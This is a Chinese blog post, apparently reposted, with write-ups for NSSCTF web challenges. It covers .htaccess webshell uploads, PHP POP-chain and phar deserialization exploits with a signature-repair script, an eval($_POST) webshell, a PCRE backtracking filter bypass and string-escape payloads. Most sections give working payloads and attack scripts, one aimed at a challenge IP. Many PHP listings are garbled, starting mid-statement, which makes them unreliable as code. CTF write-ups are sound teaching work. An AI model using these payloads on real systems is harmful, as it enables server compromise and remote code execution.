文章详情

短信预约-IT技能 免费直播动态提醒

请输入下面的图形验证码

提交验证

短信预约提醒成功

NSSCTF web题记录

2023-09-03 18:48

关注

目录

web

[GXYCTF 2019]BabyUpload -.htaccess利用

[NISACTF 2022]babyserialize -pop链

[NISACTF 2022]popchains -pop链

[NSSRound#4 SWPU]1zweb -phar反序列化 + 签名修复

prize_p1 -GC机制 + and签名修复

prize_p5 -原生类 + 字符串逃逸

[NISACTF 2022]middlerce -PCRE回溯绕过

[GKCTF 2020]CheckIN 

[SWPUCTF 2021 新生赛]babyunser -phar反序列化

 [TQLCTF 2022]simple_bypass -代码审计

[BJDCTF 2020]ZJCTF,不过如此

[HUBUCTF 2022 新生赛]HowToGetShell -命令执行绕过

[GDOUCTF 2023]反方向的钟 -原生类的简单利用


web

[GXYCTF 2019]BabyUpload -.htaccess利用

这里已经是提示我们了,是通过.htaccess的了

但是这里经过测试他是检测了文件后缀,上传的类型,检测了内容

但是这里进过尝试他的内容只检测了

这里就有了我们第一种解法

第一种方法

上传木马1.jpg,上传类型为image/jpeg

木马内容:

然后上传一个正常的.htaccess


SetHandler application/x-httpd-php

然后直接使用蚁剑连接就可以了

我原本想的是直接使用的

但是报错了。。。。但是蚁剑可以连的

第二种方法

也是针对内容的绕过,这里大家可以当一种扩展就行了

里面的内容为的base64加密

然后上传.htaccess

AddType application/x-httpd-php .jpg
php_value auto_append_file "php://filter/convert.base64-decode/resource=muma.jpg"

然后用蚁剑连接

第三种方法

这个算是非预期的方法

这里我们随便上传一个jpg文件,一个空文件也行

然后上传.htaccess文件,不过这里要知道他的flag位置可以猜一下,也算一种扩展吧

AddType application/x-httpd-php jpg
php_value auto_prepend_file /flag

然后访问那个jpg文件就能直接得到flag

[NISACTF 2022]babyserialize -pop链

这个也是有两种做法的

代码先贴出来

fun=="show_me_flag"){            hint();        }    }    function __call($from,$val){        $this->fun=$val[0];    }    public function __toString()    {        echo $this->fun;        return " ";    }    public function __invoke()    {        checkcheck($this->txw4ever);        @eval($this->txw4ever);    }}class TianXiWei{    public $ext;    public $x;    public function __wakeup()    {        $this->ext->nisa($this->x);    }}class Ilovetxw{    public $huang;    public $su;    public function __call($fun1,$arg){        $this->huang->fun=$arg[0];    }    public function __toString(){        $bb = $this->su;        return $bb();    }}class four{    public $a="TXW4EVER";    private $fun='abc';    public function __set($name, $value)    {        $this->$name=$value;        if ($this->fun = "sixsixsix"){            strtolower($this->a);        }    }}if(isset($_GET['ser'])){    @unserialize($_GET['ser']);}else{    highlight_file(__FILE__);}//func checkcheck($data){//  if(preg_match(......)){//      die(something wrong);//  }//}//function hint(){//    echo ".......";//    die();//}?>

然后 checkcheck 方法中的过滤可以通过大小写绕过

第一种做法

说先还是老样子从尾巴开始
NISA类下面的__invode中可以进行命令执行,然后Ilovetxw类中__toString可以触发他,但是这时候我们发现,诶,在NISA类中居然fun对象居然在弱比较,这样fun对象就被当做字符串处理了,这样就触发了toString诶

 fun = $b;$b -> su = $a;echo urlencode(serialize($a));

 第二种做法

就是一步步做了,从尾巴做起

第一步 __invoke<-__toString

NISA::invoke需要以调用函数的方式调用一个对象,在Ilovetxw::toString触发了

第二步 __toString<-__set

下面在four::set中看到了strtolower函数,去查了一下strtolower() 函数把字符串转换为小写,所以就是将对象当做字符串了,所以这里触发了Ilovetxw::toString


第三步 __set<-__call

然后在Ilovetxw::call发现了,huang这个对象在调用不存在的成员变量,huang这个对象下面并没有fun这个对象,所以Ilovetxw::call触发了four::set

第四步 __call<-__wakeup

TianXiWei::wakeup调用了不存在的方法,触发了Ilovetxw::call,然后__wakeup会在使用unserialize函数自动触发,所以pop链就有了

 ext = $b;$b -> huang = $c;$c -> a = $b;$b -> su = $d;echo urlencode(serialize($a));

[NISACTF 2022]popchains -pop链

代码先贴这

Happy New Year~ MAKE A WISH';if(isset($_GET['wish'])){    @unserialize($_GET['wish']);}else{    $a=new Road_is_Long;    highlight_file(__FILE__);}class Road_is_Long{    public $page;    public $string;    public function __construct($file='index.php'){        $this->page = $file;    }    public function __toString(){        return $this->string->page;    }    public function __wakeup(){        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {            echo "You can Not Enter 2022";            $this->page = "index.php";        }    }}class Try_Work_Hard{    protected  $var;    public function append($value){        include($value);    }    public function __invoke(){        $this->append($this->var);    }}class Make_a_Change{    public $effort;    public function __construct(){        $this->effort = array();    }    public function __get($key){        $function = $this->effort;        return $function();    }}

顺便说一下这个flag在/flag里面,不是在flag.php

这里给大家详细的讲一下先讲他的链子,详解呦

从Try_Work_Hard类的append方法往上爬,首先append方法需要__invoke触发,这里我们可以知道我们可以直接对$var进行赋值,__invoke()需要以调用函数的方式调用一个对象。

在Make_a_Change类的__get中我们可以发现他是触发了__invoke(),__get方法需要访问了不可直接访问的值才会触发,往上看。


在Road_is_Long类中__toString中会触发__get,有的人会疑惑page和string属性不都是公共的吗,这是不对的,string中没有page这个属性呀,所以调用tostring相当于从不可访问的属性中读取数据,所以get被触发。只有给string new成road is long的,他才会有page属性列如这样$a= new road_is_long();$a->string=new road_is_long();

然后是如何触发Road_is_Long类中的__toString,通过观察发现在__wakeup魔法函数中,对page属性进行了正则匹配,匹配里有没有被过滤的字符,这时的page是作为字符串被操作的,所以触发了__toString,然后__wakeup会在外部使用unserialize时触发,然后我们通过GET的方式通过wish传入,进行反序列化,然后unserialzie是在外部的,这样一条完整的链子就有了

 effort = $d;$a-> string = $c;$b-> page = $a;echo serialize($b);

[NSSRound#4 SWPU]1zweb -phar反序列化 + 签名修复

这个小细节是真的多,人给我整麻了

第一种非预期的解法

../../../../../flag  //直接查询就可以得到flag,但是不建议这样感觉就没什么意义了

第二种预期的解法

这里我们先查询index.php和upload.php的内容

index.php

ljt="ljt";        $this->dky="dky";        phpinfo();    }    public function __destruct(){        if($this->ljt==="Misc"&&$this->dky==="Re")            eval($this->cmd);    }    public function __wakeup(){        $this->ljt="Re";        $this->dky="Misc";    }}$file=$_POST['file'];if(isset($_POST['file'])){    echo file_get_contents($file);}

uplaod.php

 0){    echo "上传异常";}else{    $allowedExts = array("gif", "jpeg", "jpg", "png");    $temp = explode(".", $_FILES["file"]["name"]);    $extension = end($temp);    if (($_FILES["file"]["size"] && in_array($extension, $allowedExts))){        $content=file_get_contents($_FILES["file"]["tmp_name"]);        $pos = strpos($content, "__HALT_COMPILER();");        if(gettype($pos)==="integer"){            echo "ltj一眼就发现了phar";        }else{            if (file_exists("./upload/" . $_FILES["file"]["name"])){                echo $_FILES["file"]["name"] . " 文件已经存在";            }else{                $myfile = fopen("./upload/".$_FILES["file"]["name"], "w");                fwrite($myfile, $content);                fclose($myfile);                echo "上传成功 ./upload/".$_FILES["file"]["name"];            }        }    }else{        echo "dky不喜欢这个文件 .".$extension;    }}?>

这里分析文件上传加上反序列化,这phar反序列化没跑了。 

index.php还是十分简单,我们只用绕过__wakeup就可以了,难点不在这。
然后upload.php检测上传的时候会检查,__HALT_COMPILER();,所以我们要将phar文件压缩,来绕过。

 因为我们知道flag在跟目录就直接读取了

ljt="Misc";        $this->dky="Re";        $this->cmd="system('cat /flag');";    }}$a = new LoveNss();$phar = new Phar('aa.phar');$phar->startBuffering();$phar->setStub('');$phar->setMetadata($a);$phar->addFromString('test.txt', 'test');$phar->stopBuffering();?>

得到了aa.phar

我们是要进行修改的,这里就是第一个小细节,我们要将3个属性修改成4个,大于实际的属性从而绕过__wakeup

注意!注意!注意!

这里我们修改3为4的时候,是不能直接打开的,不然文件会发生变化的

我们要使用winhex或010都行

或者是使用签名修复脚本的时候加上一个replace(b'3:{', b'4:{')也是可以的

这是用记事本或者idea直接打开修改的

 这是用winhex或010直接修改的

 两个的差别还是挺明显的吧

注:这里不是答案
我们按思路一步一步走,想将改好的phar,先用zip压缩成zip文件,在把后缀改成png,然后上传

查询:phar://./upload/3.png/aa.phar   //3.png是我提交的文件

这里我们发现这里,是把aa.phar的内容是显示出来了,但是并没有运行,这里注意可能是压缩包格式的问题,接下来我们尝试gz,这里我们可以使用脚本,也可以使用kail,gzip命令

查询:phar://./upload/4.png/aa.phar   //4.png是我提交的文件

这里回显

这是因为我们,对phar进行了修改,他的签名不正确了,这里我们知道sha1 签名无法被识别。
所以我们要对它签名进行修复。

from hashlib import sha1# import gzipfile = open(r'C:\Users\CyberSec\Desktop\aa.phar', 'rb').read()data = file[:-28]  # 获取需要签名的数据# data = data.replace(b'3:{', b'4:{') #更换属性值,绕过__wakeupfinal = file[-8:]  # 获取最后8位GBMB标识和签名类型newfile = data + sha1(data).digest() + final  # 数据 + 签名 + 类型 + GBMBopen(r'C:\Users\CyberSec\Desktop\new.phar', 'wb').write(newfile)  # 写入到新的phar文件# newf = gzip.compress(newfile)# with open(r'C:\Users\CyberSec\Desktop\new1.png', 'wb') as file: #更改文件后缀#     file.write(newf)

这里提交修复sha1签名的文件,就可以执行了

回显flag了

prize_p1 -GC机制 + and签名修复

这里又用到了签名修复,真的巧,我原本以为短时间是看不到了。
这个我是真的有些懵我这里是参考bilala的博客感觉讲的挺好的,顺便学习一下这位佬的博客学法,自己确实感觉写的有点乱

我们先看源码

config == 'w') {            $data = $_POST[0];            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {                die("我知道你想干吗,我的建议是不要那样做。");            }            file_put_contents("./tmp/a.txt", $data);        } else if ($this->config == 'r') {            $data = $_POST[0];            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {                die("我知道你想干吗,我的建议是不要那样做。");            }            echo file_get_contents($data);        }    }}if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {    die("我知道你想干吗,我的建议是不要那样做。");}unserialize($_GET[0]);throw new Error("那么就从这里开始起航吧");

审计代码

这种有任意文件写入的和任意文件读取,我们就可以考虑phar反序列化


这里我们首先知道他是在getflag类中获得flag的,这里getenv('FLAG')我没有去查,这个感觉就可以感觉除了,他是查看环境变量中的FLAG变量,将他输出


这里读取文件中,我们发现是没有禁用phar,这样使用phar的可能就更大了

思路

想办法触发__destruct有三种方法,这里学习到了

主动调用unset($obj)
2.主动调用$obj = NULL
3.程序自动结束

将原先指向类的变量取消对类的引用

这里因为设置了throw new Error("那么就从这里开始起航吧");报错,就不会触发__destruct了,所以我们要想办法实现

这里我们使用的是4,这里就将bilala的话拿过来了,感觉我讲得不是很明白

PHP中的垃圾回收Garbage collection机制,即就是GC机制,利用引用计数和回收周期自动管理内存对象。当一个对象没有被引用时,PHP就会将其视为“垃圾”,这个”垃圾“会被回收,回收过程中就会触发析构函数

我们这里可以写代码具体看一下

然后这里讲一下将原先指向类的变量取消对类的引用,我这里就直接拿bilala大佬的代码给大家详细的讲一下,提示一下PHP_EOL的作用和\n差不多

count = $count;    }    public function __destruct()    {        echo $this->count."destruct触发";    }}$aa = new bilala(1);//这里的bilala对象就不是垃圾,因为他被$aa所引用new bilala(2);//这里的就是垃圾(也就是匿名对象),new出来后没被引用,就会被当作垃圾回收(所以触发析构)echo PHP_EOL."**********************************".PHP_EOL;$aa = new bilala(3);//这里将$aa指向了另一个对象的引用,所以原先的对象触发析构echo PHP_EOL."**********************************".PHP_EOL;//程序结束,触发析构

回显:2destruct触发

           **********************************

          1destruct触发

           **********************************

           3destruct触发

因为我没有具体的学习过php的面对对象,但是我学习了java的面对对象,这里感觉两个差不多,就用java的感觉来讲吧。

因为他new了,应该会在一个跟堆一样的东西建立一个空间给他,然后返回地址值,这里第一个他用$aa接受了地址值,第二个创建了并没有使用,所以系统检测到了,就会清理这里第二个生成的空间,所以2先触发了__destruct,然后第三个也生成一个新的空间,这里返回了他的地址值,然后替换了,第一个的地址值,然后第一个的空间就没有引用了,就和2一样了,清理了,然后就触发了__destruct然后返回,第三个程序结束了,就自动删除了,所以它最后触发

所以我们开始生成phar文件了

$a,1=>null);$phar = new Phar('aa.phar');$phar->startBuffering();$phar->setStub('');$phar->setMetadata($a);$phar->addFromString('test.txt', 'test');$phar->stopBuffering();

但是刚生成出来的是是这样的,这样解出来的,不是我们想要的,我要修改一下,至于为什么不用$a = array(0=>$a,0=>null);是因为发现他生成的有点问题,然后我们这里解释一下这个反序列化的东西,a:2:{i:0;O:7:"getflag":0:{}i:0;i:0;}  ,首先他解出来的时候都是按顺序解的,这里先将array(0)赋值为getflag类,这里就是将他引用,然后替换为空,他就会变成垃圾,就会被GC回收,这里就会触发__destruct

但是这样他的签名就损坏了,这里可以看一下上一题

我们用脚本修复

from hashlib import sha1file = open(r'C:\Users\CyberSec\Desktop\aa.phar', 'rb').read()  # 需要重新生成签名的phar文件data = file[:-28]  # 获取需要签名的数据final = file[-8:]  # 获取最后8位GBMB标识和签名类型newfile = data + sha1(data).digest() + final  # 数据 + 签名 + 类型 + GBMBopen(r'C:\Users\CyberSec\Desktop\new.phar', 'wb').write(newfile)  # 写入到新的phar文件

 然后因为要绕过过滤,这里进行压缩,我使用的是gzip,因为怕了

然后就是要触发写和读

import requestsurl = "http://1.14.71.254:28258/"s = requests.session()a = open(r'C:\Users\CyberSec\Desktop\new.phar.gz', 'rb').read()s.post(url=url,params={0:'O:1:"A":1:{s:6:"config";s:1:"w";}'},data={0:a})b = s.post(url=url,params={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'},data={0:"phar://./tmp/a.txt/aa.phar"}).textprint(b)

然后这里用脚本上传读取,得到flag,这里在提示一下params通常是get使用,代表的是?0=......

然后就是phar读取,不用担心后缀变了,因为phar看的是你文件的格式

prize_p5 -原生类 + 字符串逃逸

首先我们要审计代码

class = "error";        $this->data = "hacker";    }    public function __destruct()    {        echo new $this->class($this->data);    }}class error{    public function __construct($OTL)    {        $this->OTL = $OTL;        echo ("hello ".$this->OTL);    }}class escape{               public $name = 'OTL';                         public $phone = '123666';                     public $email = 'sweet@OTL.com';                          }function abscond($string) {    $filter = array('NSS', 'CTF', 'OTL_QAQ', 'hello');    $filter = '/' . implode('|', $filter) . '/i';    return preg_replace($filter, 'hacker', $string);}if(isset($_GET['cata'])){    if(!preg_match('/object/i',$_GET['cata'])){        unserialize($_GET['cata']);    }    else{        $cc = new catalogue();         unserialize(serialize($cc));               }        if(isset($_POST['name'])&&isset($_POST['phone'])&&isset($_POST['email'])){        if (preg_match("/flag/i",$_POST['email'])){            die("nonono,you can not do that!");        }        $abscond = new escape();        $abscond->name = $_POST['name'];        $abscond->phone = $_POST['phone'];        $abscond->email = $_POST['email'];        $abscond = serialize($abscond);        $escape = get_object_vars(unserialize(abscond($abscond)));        if(is_array($escape['phone'])){        echo base64_encode(file_get_contents($escape['email']));        }        else{            echo "I'm sorry to tell you that you are wrong";        }    }}else{    highlight_file(__FILE__);}?> 

 首先我们从传输代码的地方看起$_GET['cata'],首先他是进行一个正则匹配,然后因为有/i,就是我们不能用大小写匹配了。

然后进行反序列化,然后在catalogue::__destruct中我们发现了

echo new $this->class($this->data);

这样我们就能使用php的原生类了

我们要先知道flag在哪叫什么

 这里我们以使用这几个原生类DirectoryIterator FilesystemIterator GlobIterator 都是可以的

 这里就是遍历根目录下面有f的文件或者目录,这三个随便选一个传进去

O:9:"catalogue":2:{s:5:"class";s:12:"GlobIterator";s:4:"data";s:4:"/*f*";}

然后我们就知道了,根目录下面有flag文件,就叫flag

第一种非预期的做法

这里过滤其实就为了防止我们使用原生类SplFileObject ,但是这个类只能读取一行,想完全读取只能遍历,但是flag通常就一行

    if(!preg_match('/object/i',$_GET['cata'])){        unserialize($_GET['cata']);    }

但是我们可以通过16进制绕过去的

O:9:"catalogue":2:{s:5:"class";s:14:"SplFileObject ";s:4:"data";s:5:"/flag";}//这样是不行的,将SplFileObject前面的s改成大写我们就能使用16进制了?cata=O:9:"catalogue":2:{s:5:"class";S:14:"SplFile\4fbject ";s:4:"data";s:5:"/flag";}

第二种预期的做法

就是通过字符串逃逸

定义一个abscond方法,就是进行替换的,这个方法本没有错,错的是,可以替换成不同的长度


这里举个列,假如我们传进去的是NSSaaa,那么他经过转换就直接接收了hacker,然后aaa就逃出去了


然后他对email参数转进来的东西,进行了过滤,所以我们不能用,因为我们要传flag,然后就是phone,if(is_array($escape['phone']))这里判断他必须是一个数组,所以我们要改,最后就是在name中传

这里我们传进去以后就是这样

phone是一个数组,email获取flag

然后这里看那一串的长度

 这里我们使用

好了

get传:?cata=1    //这里是往下触发post传:name=CTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFCTFhellohello";s:5:"phone";a:1:{i:0;i:1;}s:5:"email";s:5:"/flag";}&phone=1&email=1//然后解码就可以了

[NISACTF 2022]middlerce -PCRE回溯绕过

|\{|\x09|\x0a|\[).*$/m',$txw4ever)){        die("再加把油喔");    }    else{        $command = json_decode($txw4ever,true)['cmd'];        checkdata($command);        @eval($command);    }}else{    highlight_file(__FILE__);}

这个匹配就离谱了,这里我们就可以尝试PCRE回溯了,原理嘛,还得看p神的文章
这里就不讲原理,简单说就是他匹配有一个上限,超出这个上限就可以绕过preg_match了,然后正常preg_match的上限就是1000000

然后我们这里看看下面json_decode()这里

至于checkdata是个什么东西我不知道诶,我只看到了checkdate,然后猜测checkdata是check.php文件的定义的方法,这里先给大家看check.php,是我拿到flag以后看看的

果然这里定义了checkdata,是进行命令过滤的,所以这里我使用的是内联执行

import requestsurl = "http://1.14.71.254:28052/"data='{"cmd":"?>","t":"' + "@"*1000000 + '"}' //这里必须使用特殊字符,@$之类的都是可以的a = requests.post(url=url,data={'letter': data}).textprint(a)

这样就可以得到flag了

[GKCTF 2020]CheckIN 

Check_Incode = @$this->x()['Ginkgo'];                $this->decode = @base64_decode( $this->code );                @Eval($this->decode);        }        public function x()        {                return $_REQUEST;        }}new ClassName();

这里只定义了一个ClassName对象,利用有一个魔术方法和一个自定义方法,最后实例化了这个对象。


这里分析一下在x方法中,他是通过return直接返回值,这里了解一下$_REQUEST这个函数,这个是可以接受$_GET,$_POST,$_Cookie,这里看一下。

这里看到回显了1,那么同时POST传输呢。

这里回显是2,这是为什么呢,这里就要了解php配置文件默认的处理优先级,当然我们是可以修改的。

默认的数据写入顺序是EGPCS

E代表$_ENV

G代表$_GET

P代表$_POST

C代表$_COOKIE

S代表$_SERVER

所以在关键字相同的情况下,POST包含的数据会覆盖GET中的数据。


我们知道$_REQUEST是可以接受$_GET,$_POST,$_Cookie的,所以写的时候要注意一点。

接下来继续讲,$this->code=@$this->x()['Ginkgo'];

这里结合x方法,其实就是相当于$this->code=$_REQUEST['Ginkgo']

 $this->decode = @base64_decode( $this->code );这里会进行一次base64解密,所以我们进行一次base64加密。


//这里我传入phpinfo(); ,使用的是GET方法?Ginkgo=cGhwaW5mbygpOw==

这里查看disable_functions可以发现是禁用了不少东西,但是eval,assert这些好像是没有禁用的。

这里选择包含一个马。

//这里包含这个eval($_POST[a]);?Ginkgo=ZXZhbCgkX1BPU1RbYV0pOw==

有人有疑惑为什么前面有eval还要选择加eval
首先我们要知道eval,是把字符串当做php代码执行,那么不加eval就是执行$_POST[1],并不是执行一个一句话木马。

这里在根目录发现了flag,但是没有权限,这打开虚拟终端看一下也是一样

 

这里直接选择使用插件来绕过

 


[SWPUCTF 2021 新生赛]babyunser -phar反序列化

这一题等了很久了,没有标签的普通文本居然只能在源代码看到。。原本一直以为是题目有问题,现在看还自己不太仔细呀。

这里可以查看源代码,这里把知道的文件都查看一下,这里只把重要的部分拿出来。

//read.php

aa的文件查看器

getFile();?>
//class.phpname='aa';    }    public function __destruct(){        $this->name=strtolower($this->name);    }}class ff{    private $content;    public $func;    public function __construct(){        $this->content="\";    }    public function __get($key){        $this->$key->{$this->func}($_POST['cmd']);    }}class zz{    public $filename;    public $content='surprise';    public function __construct($filename){        $this->filename=$filename;    }    public function filter(){        if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){            die('这不合理');        }    }    public function write($var){        $filename=$this->filename;        $lt=$this->filename->$var;        //此功能废弃,不想写了    }    public function getFile(){        $this->filter();        $contents=file_get_contents($this->filename);        if(!empty($contents)){            return $contents;        }else{            die("404 not found");        }    }    public function __toString(){        $this->{$_POST['method']}($_POST['var']);        return $this->content;    }}class xx{    public $name;    public $arg;    public function __construct(){        $this->name='eval';        $this->arg='phpinfo();';    }    public function __call($name,$arg){        $name($arg[0]);    }}
//upload.php

这里有文件上传,文件读取,还有链子,还禁用一些伪协议还有点,就是没有禁用phar,嗯~,提示已经十分明显了,虽然upload这里会进行重命名,但是吧,phar是看文件内容的,改名字是没有关系的。


从read.php就可以知道是从aa类进入的,这里我们分析分析,可以不可以搞出来一个链子。

这里我们分析一下,注意destruct有一个函数strtolower,他是把参数当成字符串处理的,所以可以触发__toString,这里去看看那里有。

class aa{    public $name;    public function __construct(){        $this->name='aa';    }    public function __destruct(){        $this->name=strtolower($this->name);    }}

 这里我们会进入zz类,触发这里toString,但是我们想要触发的是ff方法的__get,就需要触发ff方法的私有参数content,这看到write方法,filename我们可以定义,但是还可以触发一个,这样我们只要让filename参数new ff,然后$var赋值content就可以触发,ff类中的__get魔法函数,所以method=write,var=content。

class zz{    public $filename;    public $content='surprise';    public function __construct($filename){        $this->filename=$filename;    }    public function filter(){        if(preg_match('/^\/|php:|data|zip|\.\.\//i',$this->filename)){            die('这不合理');        }    }    public function write($var){        $filename=$this->filename;        $lt=$this->filename->$var;        //此功能废弃,不想写了    }    public function getFile(){        $this->filter();        $contents=file_get_contents($this->filename);        if(!empty($contents)){            return $contents;        }else{            die("404 not found");        }    }    public function __toString(){        $this->{$_POST['method']}($_POST['var']);        return $this->content;    }}

这里触发__get魔法函数,这里$key就是content的值

$this->$key->{$this->func}($_POST['cmd']);

这一段的意思就是,使用$key下面的方法,cmd是参数,这个方法肯定是不存在的,我们就可以使用他来触发xx类中的__call魔法方法,因为只要我们将func为一个可执行函数,然后cmd传输我们的命令,根据__call中的$name($arg[0]),就可以执行我们想要执行的了,这样我们就是让$key为new xx。

class ff{    private $content;    public $func;    public function __construct(){        $this->content="\";    }    public function __get($key){        $this->$key->{$this->func}($_POST['cmd']);    }}

上面就已经可以利用了,这里我们梳理一下思路。

aa::__destruct -> zz::__toString -> zz::write -> ff::__get -> xx::__call


接下来写我们的exp

name = new zz();    } } class zz{    public $filename;    public $content='surprise';    public function __construct(){        $this->filename = new ff;    } } class ff{    private $content;    public $func="system";    public function __construct(){        $this -> content = new xx;    } } class xx{    public $name;    public $arg; } $a = new aa; $phar = new Phar('b.phar'); //生成文件的名字,但是后缀必须是phar $phar->startBuffering(); $phar->setStub(''); //设置stub,我们必须以这个为结尾,否则phar扩展将无法识别这个文件为phar文件   $phar->setMetadata($a); //将自定义的meta-data存入manifest,就是将序列化的东西存进去   $phar->addFromString('test.txt', 'test');//添加要压缩的文件 $phar->stopBuffering();//签名自动计算

将生成phar文件上传上去,没有看到回显可以查看源代码,然后来到read.php,进行rce,没有看到flag,建议打开源代码看看。

file=phar://upload/186038cf4fb14b09766a8c3a8dc5a671.txt&method=write&var=content&cmd=cat /flag


 [TQLCTF 2022]simple_bypass -代码审计

刚进去没有发现什么东西,但是这里有一个注册和登录,我们创建一个账号登录进去看看。

这里进去感觉是一个系统的感觉,这里直接先使用f12拦包,在看到杰哥的时候就知道有好事情了,这里我们看到一个有参数的,而且对应的是文件,可能存在任意文件读取之类的。

读取以后,发现有一个破损的图片,这里打开源代码看看,发现了一些base64的字符串,这里去把代表base64加密的那一串拿过去解密。

这里还真是passwd的内容,但是尝试直接读取各种flag都已失败告终,这里尝试读取别的,接下来读取index.php看看。

这里是index.php的源码,这里重要的只有php代码的部分,首先这里是对我们注册地方的一些检测,puctuation这个给我的感觉就是那种看看我有漏洞的感觉,大于1000哈哈哈

下面还提到了一个,template.html,他是读取了这个文件

然后下面的str_replace,就是将读取过来中对应的字符串替换成我们传进去的值,列如将template.html中的__USER__替换成我们user post传输过来的值

 6){echo("");}elseif(strlen($_POST['website']) > 25){echo("");}elseif(strlen($_POST['punctuation']) > 1000){echo("");}else{if(preg_match('/[^\w\/\(\)\*<>]/', $_POST['user']) === 0){if (preg_match('/[^\w\/\*:\.\;\(\)\n<>]/', $_POST['website']) === 0){$_POST['punctuation'] = preg_replace("/[a-z,A-Z,0-9>\?]/","",$_POST['punctuation']);$template = file_get_contents('./template.html');$content = str_replace("__USER__", $_POST['user'], $template);$content = str_replace("__PASS__", $hash_pass, $content);$content = str_replace("__WEBSITE__", $_POST['website'], $content);$content = str_replace("__PUNC__", $_POST['punctuation'], $content);file_put_contents('sandbox/'.$hash_user.'.php', $content);echo("");}else{echo("");}}else{echo("");}}}else{setcookie("user", $_POST['user'], time()+3600);setcookie("pass", $hash_pass, time()+3600);Header("Location:sandbox/$hash_user.php");}}?> Simple Linux

来源地址:https://blog.csdn.net/m0_64815693/article/details/127749358

阅读原文内容投诉

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

软考中级精品资料免费领

  • 历年真题答案解析
  • 备考技巧名师总结
  • 高频考点精准押题
  • 2024年上半年信息系统项目管理师第二批次真题及答案解析(完整版)

    难度     813人已做
    查看
  • 【考后总结】2024年5月26日信息系统项目管理师第2批次考情分析

    难度     354人已做
    查看
  • 【考后总结】2024年5月25日信息系统项目管理师第1批次考情分析

    难度     318人已做
    查看
  • 2024年上半年软考高项第一、二批次真题考点汇总(完整版)

    难度     435人已做
    查看
  • 2024年上半年系统架构设计师考试综合知识真题

    难度     224人已做
    查看

相关文章

发现更多好内容

猜你喜欢

AI推送时光机
位置:首页-资讯-后端开发
咦!没有更多了?去看看其它编程学习网 内容吧
首页课程
资料下载
问答资讯